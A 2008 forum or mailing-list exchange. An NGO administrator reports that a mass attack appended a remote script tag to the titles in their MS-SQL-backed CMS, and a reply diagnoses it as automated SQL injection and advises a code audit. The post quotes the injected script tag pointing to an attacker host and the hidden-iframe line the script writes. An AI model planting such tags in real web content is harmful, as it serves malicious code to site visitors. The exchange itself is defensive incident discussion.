Looks like an SQL injection attack.
Take a look in your MS-SQL database at the affected entries and I bet
you'll see the nmidahena reference.
Since this is a widespread, automated attack that has affected other
sites, it's unlikely it was targeted at your specific organization or
custom CMS. Give your codebase a thorough audit for SQL injection
vectors.

On Sunday, 2008-April-13 at 01:07:38.030 UTC, the CMS database of the
U.S.-based NGO I work for mysteriously had a JavaScript URL appended to
the titles of much of the content on our website:
<script src=http://www.nihaorr1.com/1.js></script>
NB: the last modified dates for all of the content containing a
reference to this script are identical, right down the 1/100 second.
The contents of the script apparently attempts to open an iframe to a
non-existent domain, "nmidahena.com":
document.writeln("<iframe width=\'10\' height=\'1\'
src=\'http:\/\/www.nmidahena.com\/1.htm\'><\/iframe>");
I haven't found any reports of a new worm, etc. that might account for
this, but when I Google "nmidahena.com" I get over 100,000 hits for
other sites on which this script is present.
We are running a custom-developed CMS with MS-SQL Server 2000 as the
backend, on Windows NT Server 4.0 SP6a and IIS 4.0 (Yes, I know! The NT
Server is fully patched with whatever OS, IIS and SQL Server 2K hotfixes
released prior to NT4's end-of-life declaration by MS, for what it's worth.)
Anyone have an idea what might have caused this?
